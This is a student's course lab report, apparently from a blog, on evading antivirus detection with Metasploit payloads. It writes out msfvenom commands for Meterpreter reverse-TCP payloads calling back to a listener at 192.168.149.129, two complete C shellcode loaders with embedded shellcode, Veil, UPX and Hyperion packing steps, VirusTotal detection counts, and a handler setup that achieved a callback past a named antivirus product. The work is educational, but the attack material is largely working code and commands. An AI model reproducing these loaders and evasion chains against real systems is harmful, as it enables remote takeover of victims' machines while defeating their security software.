20232315 2025-2026-1 《网络与系统攻防技术》实验三实验报告

目录

一、实验基本信息

  1. 实验环境:Kali Linux虚拟机 + VMware Workstation;windows主机

  2. 实验工具:MSF,veil-evasion,UPX,Hyp等

  3. 实验时间:2025.10.25

二、实验内容

  1. 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    • veil,加壳工具
    • 使用C + shellcode编程
  2. 通过组合应用各种技术实现恶意代码免杀

  3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

三、实验要求

  • 掌握免杀原理与技术

  • 回答问题

    1. 杀软是如何检测出恶意代码的?

    2. 免杀是做什么?

    3. 免杀的基本方法有哪些?

四、实验过程

4.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

  • 生成原始MSF载荷,作为免杀效果的参考

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=4444 -f exe -o /tmp/raw_20232315.exe
    
    • -p windows/meterpreter/reverse_tcp:生成一个Windows平台的Meterpreter反向TCP连接负载
    • LHOST=192.168.149.129 LPORT=4444:指定攻击者监听的IP地址与端口号
    • -f exe -o /tmp/raw_20232315.exe:指定输出格式为exe可执行文件,并将生成的木马保存到tmp目录下,文件名为raw_20232315.exe

    image

    • 效果(使用VirusTotal进行检测,VirusTotal 是一个免费的在线病毒扫描平台,同时使用70+款杀毒引擎检测文件,文件被越多的杀毒引擎检测出来就说明文件的免杀效果越差)

    image

    71个安全厂商中48个检测为恶意,免杀效果较差

  • 使用编码器进行免杀处理,生成windows上的exe可执行文件

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o /tmp/exe_20232315.exe
    
    • -e x86/shikata_ga_nai:指定编码器为x86/shikata_ga_nai(一种多态XOR编码器,具有较好的免杀效果)用于混淆payload,避免被防病毒软件检测

    • -i 10:指定编码迭代次数 (10次),增加检测难度

    image

    • 免杀效果

    image

    相较于原始载荷检测率从 48/71 降到 44/72,免杀效果有所提高,但不明显

  • 生成Linux可执行文件elf

    • 基本载荷
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=4444 -f elf -o /tmp/raw_20232315.elf
    

    image

    • 编码
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f elf -o /tmp/elf_20232315.elf
    

    image

    • 免杀效果

    image

    image

    相较于windows平台的可执行文件exe,Linux平台的elf文件更难被检测出来,应该是virustotal对于Linux平台的检测特征库相对较少,且编码免杀效果相对较好

  • 生成jar文件

    • 基本载荷
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=4444 -f jar -o /tmp/raw_20232315.jar
    

    image

    • 编码
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=4444 -e java/base64 -i 10 -f jar -o /tmp/jar_20232315.jar
    

    image

    • 免杀效果

    image

    image

    相较于exe文件,jar更难被识别,但编码免杀效果不明显甚至没有

  • 生成php脚本

    • 基本载荷
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=4444 -f raw -o /tmp/raw_20232315.php
    

    image

    • 编码
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=4444 -e php/base64 -i 10 -f raw -o /tmp/php_20232315.php
    

    image

    • 免杀效果

    image

    image

    相较于以上其他类型文件,php编码后的免杀效果十分显著

4.2 使用veil生成免杀攻击载荷

  • 下载veil

    使用命令sudo apt -y install veil下载veil

    image

  • 使用命令which veilveil --version检查veil是否安装成功,并完成安装配置

    image

  • 使用命令veil启动veil

    image

  • 输入use 1选择Evasion模块,进入Veil的Evasion(规避)模块

    image

  • 执行以下命令生成免杀exe

    • list  #列出可用载荷
      

      image

    • use 7  #选择第7个载荷选项(C#格式的Meterpreter反向TCP)
      

      image

    • set LHOST 192.168.149.129  #设置监听地址
      set LPORT 4444  #设置监听端口
      generate  #开始生成免杀载荷文件,输入文件名为veil_20232315
      

      image

  • 在目录中找到生成的文件,测试免杀效果

    image

    image

    37款杀软检测为恶意,34款杀软未检测到(免杀率: 48%),相较于msf编码器,veil具有良好的免杀能力

4.3 使用C + shellcode编程免杀

  • 使用msf工具生成shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=4444 -f c
    

    image

  • 利用生成的shellcode编写一段c代码

        #include <windows.h>
        
        int main() {
            // 20232315yixian - 简单Shellcode加载器
            unsigned char shellcode[] =   "\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89"
        "\xe5\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7"
        "\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
        "\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
        "\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
        "\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
        "\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
        "\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
        "\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
        "\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
        "\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
        "\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
        "\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
        "\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x95\x81\x68\x02\x00"
        "\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
        "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
        "\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
        "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
        "\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
        "\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
        "\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
        "\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
        "\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
        "\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
        "\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
        "\x00\x53\xff\xd5";
            
            void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            memcpy(exec, shellcode, sizeof(shellcode));
            ((void(*)())exec)();
            
            return 0;
        }
    

    image

  • 编译Windows可执行文件

    i686-w64-mingw32-gcc -o /tmp/20232315_loader.exe /tmp/20232315_loader.c -s #编译文件
    file /tmp/20232315_loader.exe #查看文件
    ls -la /tmp/20232315_loader.exe
    

    image

  • 测试免杀效果

    image

    c + shellcode的免杀效果较veil的要好一点点

4.4 使用加壳工具对生成的可执行文件进行压缩/加密处理

  • 加壳工具选择开源的UPX压缩壳

    • 执行命令
    upx 20232315_loader.exe -o 20232315_upx.exe
    

    image

    • 测试免杀效果

    image

    免杀效果相较于未加壳的较低,说明upx压缩壳的特征已被广泛记录,安全软件能轻易识别UPX加壳,单纯的压缩壳已经无法有效规避检测

  • 加壳工具选择加密壳Hyperion

    • 准备工作
    sudo cp 20232315_loader.exe /usr/share/windows-resources/hyperion/  #使用sudo权限将原始exe文件复制到Hyperion工具目录,便于操作
    cd /usr/share/windows-resources/hyperion  #切换到包含Hyperion工具和待处理文件的目录
    

    image

    • 执行命令,使用Hyperion进行加密加壳
    sudo wine hyperion.exe -v 20232315_loader.exe 20232315_hyp.exe
    

    image

    • 测试免杀效果

    image

    免杀率比使用upx压缩壳更低,说明加密壳Hyperion的特征也已经被广泛记录了

4.5 通过组合应用各种技术实现恶意代码免杀

  • 生成MSFvenom编码的Shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=4444 -e x86/shikata_ga_nai -i 10 -b "\x00" -f c -o shellcode.txt
    
    • -i 10: 10次迭代编码增加混淆

    • -b "\x00": 去除空字符

    • -o shellcode.txt:保存到 shellcode.txt 供后续使用

    image

  • 创建C语言Shellcode加载器

    #include <windows.h>
    #include <stdio.h>
    
    int main() {
        // 从shellcode.txt复制的payload
        unsigned char shellcode[] = 
       "\xbd\x09\xc6\x52\x40\xda\xd1\xd9\x74\x24\xf4\x5f\x31\xc9"
    "\xb1\x96\x31\x6f\x13\x83\xc7\x04\x03\x6f\x06\x24\xa7\x9b"
    "\xc2\x71\x3c\x38\x06\x39\xd2\x49\x6e\x5f\x77\x7b\xa7\x11"
    "\x08\x4a\x75\x4b\x94\x6f\x7d\x68\xd8\x7a\xf0\x92\x8e\x22"
    "\xe6\x41\x50\x27\xa9\x99\x5a\x5d\xfe\x52\x7e\x19\xe2\x16"
    "\x51\x0c\xfc\x0d\x38\x1e\x1d\x59\x45\x12\x1c\x87\x9c\xdf"
    "\x02\x6b\x13\x80\x1c\x86\x89\xa9\x56\xfd\xa9\x3b\x36\x86"
    "\x31\xb7\x6f\xc5\x4d\x06\xe4\x0c\xab\x62\x75\x58\x68\x72"
    "\xf8\x05\x49\x4d\x30\x3a\x21\x42\x73\x62\x40\x58\xd0\xb5"
    "\x53\xea\x50\xe1\x66\x2a\x6b\xb6\x69\x90\x25\xe6\x2e\x39"
    "\x57\xf3\xa9\x64\x53\x42\xe5\xdb\xcd\x12\x93\x8c\x9f\x0c"
    "\x16\x11\x28\xf3\x11\xff\xeb\x19\xe7\x8c\x35\x29\x50\xd0"
    "\xd3\x22\xe6\xef\x78\xdb\xbb\x50\xaa\x1c\x36\x1f\xdd\x78"
    "\xad\x97\x97\x52\xff\xe1\x0d\xdc\xca\xdf\xfe\x2f\x36\xa1"
    "\xbd\x0a\x79\x2c\xc0\xd9\xbc\x98\x69\xd8\xc8\x89\xb8\x5f"
    "\xe4\xa4\xa9\x34\x7f\x2c\x6c\x56\xcc\xf2\xad\x2b\xd9\x9c"
    "\x06\x4f\xb5\x1e\xd0\x84\x87\x24\xab\x5b\xc0\x8a\xcb\xe8"
    "\x29\xda\xe2\xf0\xc4\xbd\xf9\x64\xb8\x7a\x06\xb9\xfa\xf8"
    "\x36\xa8\x58\x08\x64\xf9\xb2\x27\xf8\xcb\x08\xe3\x10\x7a"
    "\x47\x48\x2c\xde\xe7\x65\x94\x58\xf6\x01\x14\x08\x12\xa4"
    "\x94\x15\x08\x87\x65\xfe\x01\x2a\xeb\xb6\x4c\x6d\xe2\x03"
    "\x8a\x8c\x32\xf1\x9b\xaf\x2f\x0b\x08\xcc\x01\xe8\x5c\xdf"
    "\xff\x46\x50\xf3\xd2\x5e\x9e\x2d\x65\x7b\x44\x7d\x71\x96"
    "\xbb\x7e\x43\x45\xd2\xb3\x5e\x37\xb6\xe6\x4c\x99\xaa\x11"
    "\xb8\xab\x6b\x67\x58\x88\xe2\x2f\xaf\x77\x55\x12\xe4\x49"
    "\xd6\xe5\xed\x91\x70\xef\xfc\xd1\xb7\x3a\x53\x19\x14\xd3"
    "\xce\xfa\xfe\x9c\xdf\xc6\x34\xc2\x3b\xde\xbe\xe3\xb2\xe9"
    "\x22\x7f\x6f\x70\x32\x0f\x7f\x87\xff\x31\x67\xdf\x42\x5d"
    "\x8e\xa9\xc1\x01\xa7\x20\x58\x22\x3a\x8a\xa7\x4f\xb9\x4a"
    "\x38\x3c\xf7\x7e\x47\x09\x4e\x64\xb3\xe9\x95\xd0\x55\xad"
    "\x0e\xe2\x2e\x8a\x62\x80\x66\x5d\x4e\xa1\x59\xfa\x9a\x9c"
    "\x1c\x52\xfb\xe2\xee\xf5\x01\x3d\xbf\x22\x40\x0e\x7f\x01"
    "\xd9\xb6\x75\x4b\xb7\x61\x6c\x3c\x5a\x74\x46\x8a\x69\xe3"
    "\xc4\x6c\xd8\x49\x3d\x12\xd3\xe3\x94\x4b\x17\x0a\x4c\x9b"
    "\x50\x3c\x42\x9f\x3e\xcc\x57\xda\x80\x0c\x53\x02\x71\x62"
    "\x3d\x61\xa5\x03\x11\x8a\xa0\x39\x29\x70\x07\x21\x10\x4c"
    "\x5e\xcc\x86\x46\x86\xee\xbe\xdc\x19\xc4\x65\x9f\xcd\xe1"
    "\x63\xef\xe0\xb9\xd5\x80\x7f\x4a\xcb\x03\x05\x4d\xdf\x91"
    "\x85\xd1\x77\x6e\x3f\x8c\xc0\xa2\x5c\xda\xc1\xb1\x47\xb2"
    "\xfa\x9e\xe8\x39\x31\x7a\x94\xad\x26\x59\x0c\x4e\x30\x31"
    "\x46\x7b\x98\x9d\x50\x5e\xf3\x4e\xe0\xff\xee\x3c\x7b\x67"
    "\x75\x8a\x48\x8f\x12\xd5\x0f\xf6\x04\xae\x47\x7b\x18\xd7"
    "\x46\xff\x85\xc9\x6b\xea\x18\xaa\xcb\xdb\xc6\x72\x20\xd7"
    "\x62\x83\x2f\x96\x9e\x6a\x37\x02\xb4\x6a\xe6\xfd\x43\x50"
    "\xf3\xf9\x07\x17\xc5\xa2\x67\x2a";
    
        // 分配可执行内存
        void *exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        
        if (exec_mem == NULL) {
            return -1;
        }
        
        // 复制shellcode到可执行内存
        memcpy(exec_mem, shellcode, sizeof(shellcode));
        
        // 执行shellcode
        ((void(*)())exec_mem)();
        
        return 0;
    }
    

    image

  • 编译C代码,使用MinGW交叉编译

    i686-w64-mingw32-gcc -o 20232315_combind.exe loader.c -s
    

    image

  • 使用UPX进行加壳

    upx 20232315_combind.exe -o 20232315_combind_upx.exe
    

    image

  • 使用Hyperion进行加壳

    sudo wine hyperion.exe -v 20232315_combind_upx.exe 20232315_combind_upx_hyp.exe
    

    image

  • 测试免杀效果

    image

    image

    image

    如图,原始C加载器+MSF shellcode的模式生成的文件加一层压缩壳后免杀效果有一定提高但不多,再加一层加密壳后免杀效果反而显著降低了,这是因为upx和hyp本身就是知名加壳工具,upx是简单壳,可能绕过基础特征检测;hyp是复杂壳,可能触发高级壳检测规则,且多层加壳会提高可疑度评分,触发更严格的检测

  • 使用联想电脑管家进行病毒扫描,生成的病毒文件都传到了D:/tmp目录下

    image

    image

    三个病毒程序都被检测出来了

  • 使用金山毒霸查杀

    image

    只有免杀率最低的20232315_combind_upx_hyp.exe被检测到了

4.6 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 选择金山毒霸进行测试,测试文件20232315_combind_upx.exe,关闭联想电脑管家的安全防护,只打开金山毒霸安全防御

    image

  • 在kali中执行以下命令启动Metasploit监听,然后在windows上运行20232315_combind_upx.exe程序

    msfconsole  # 启动Metasploit框架
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp  #指定要使用的载荷类型
    set LHOST 192.168.149.129  #设置监听地址
    set LPORT 4444  #设置监听端口
    exploit  #启动监听
    

    image

    成功回连

  • 杀软名称与版本

    名称:金山毒霸
    版本:如下

    image

五、回答问题

  1. 杀软是如何检测出恶意代码的?
  • 静态特征分析:基于文件的静态指纹进行匹配,对恶意代码样本中的独特字节序列提取哈希值或模糊哈希,并录入病毒特征库进行精确匹配

  • 启发式分析:在不依赖精确特征码的情况下,通过分析文件的代码结构、指令序列、API导入表、节区名称等静态属性,使用权重评分系统判断其恶意可能性。例如,一个程序如果同时导入了VirtualAlloc、CreateRemoteThread和WriteProcessMemory等API,其可疑度会显著升高

  • 动态行为分析:在受控的隔离环境中执行样本,并监控其运行时行为,比如记录程序对系统API的调用序列和参数,或识别程序的行为模式是否为恶意软件的典型行为链

  • 云查杀与威胁情报:将文件的哈希值、部分特征或行为日志上传至云端威胁情报平台进行联合分析。这使得单个终端能够利用全球性的实时威胁数据,极大提升了检测新威胁和变种的速度与能力。本实验中VirusTotal上的测试结果就是云查杀的集中体现

  • 完整性检查与元数据分析:检查文件是否被非法修改或包装,比如识别文件是否被已知或可疑的加壳工具处理过

  1. 免杀是做什么?
  • 免杀,又称为反病毒规避,是指通过一系列技术手段,系统性地对恶意软件进行改造和伪装,旨在瓦解或绕过杀毒软件的多层检测机制。其核心目标是在不触发警报的情况下,实现恶意代码在目标系统中的投放、驻留与执行
  1. 免杀的基本方法有哪些?
  • 代码混淆与变形:使用编码器或多态技术,改变指令序列而不影响功能

  • 密码学加密:对恶意载荷进行加密,仅在运行时在内存中解密。密钥可分离或动态生成,使得静态文件中无可识别特征。Veil-Evasion的Arya模块即采用此策略

  • 自定义加载器开发:使用C/C++/C#/Go等语言手工编写加载器,彻底改变程序的静态结构特征

  • 加壳与压缩:使用压缩壳(如UPX)或加密壳(如hyperion)改变文件哈希和结构。关键在于使用小众、修改版或自定义的壳以避免壳特征本身被标记

六、问题及解决方案

1.

问题:下载完veil进行安装配置是出现报错,报错内容如下

    ERROR: Complete output from command python setup.py egg_info:
  ERROR: Traceback (most recent call last):                                                                                                                     
    File "<string>", line 1, in <module>                                                                                                                        
    File "C:\users\kali\AppData\Local\Temp\pip-install-hjxjrloc\pefile\setup.py", line 86, in <module>                                                          
      long_description = "\n".join(_read_doc().split('\n')),                                                                                                    
    File "C:\users\kali\AppData\Local\Temp\pip-install-hjxjrloc\pefile\setup.py", line 33, in _read_doc                                                         
      tree = ast.parse(f.read())                                                                                                                                
    File "C:\Python34\lib\ast.py", line 35, in parse                                                                                                            
      return compile(source, filename, mode, PyCF_ONLY_AST)                                                                                                     
    File "<unknown>", line 3789                                                                                                                                 
      f'Export directory contains more than 10 repeated entries '                                                                                               
                                                                ^                                                                                               
  SyntaxError: invalid syntax                                                                                                                                   
  ----------------------------------------                                                                                                                      
ERROR: Command "python setup.py egg_info" failed with error code 1 in C:\users\kali\AppData\Local\Temp\pip-install-hjxjrloc\pefile\                               
[ERROR] Failed to run (wine) Python pip pefile... Exit code: 1

[!] ERROR #2-3: Can't find the WINE profile for AuotIT v3 (/var/lib/veil/wine//drive_c/Program Files/AutoIt3/Aut2Exe/Aut2exe.exe).   
Run: /usr/share/veil/config/setup.sh --force --silent

原因:分析得知问题是Python 3.4太旧了,无法安装新版本的pefile;AutoIt安装完成了,但Veil找不到AutoIt的路径

解决:运行强制修复命令

sudo /usr/share/veil/config/setup.sh --force --silent

执行后仍然出现了类似报错,但使用veil可以成功启动veil,不影响实验

2.

问题:在使用Hyperion进行加壳时,一开始复制文件到指定目录时使用的命令是cp 20232315_loader.exe /usr/share/windows-resources/hyperion/,但系统提示权限不足

原因:权限被拒绝,因为 /usr/share/目录需要root权限才能写入

解决:使用sudo权限复制sudo cp 20232315_loader.exe /usr/share/windows-resources/hyperion/

七、实验感想

通过本次实验,我对免杀技术有了一定的掌握,更对免杀技术的本质有了深入理解。实验中,我使用了msf编码器、Veil-Evasion、加壳工具等实现免杀常用的工具生成了具有一定免杀效果的恶意代码,并通过VirusTotal检测了具体的免杀效果,这让我对各种免杀工具的效用有了深入的体会。此次实验让我明白,真正的安全研究不在于掌握多少攻击工具,而在于理解技术背后的原理,在攻防对抗的思维中建立全面的安全观。作为未来的安全从业者,我们既要了解攻击手法以便更好地防御,更要坚守职业道德底线。

posted on 2025-10-26 17:01  易娴  阅读(2)  评论(0)    收藏  举报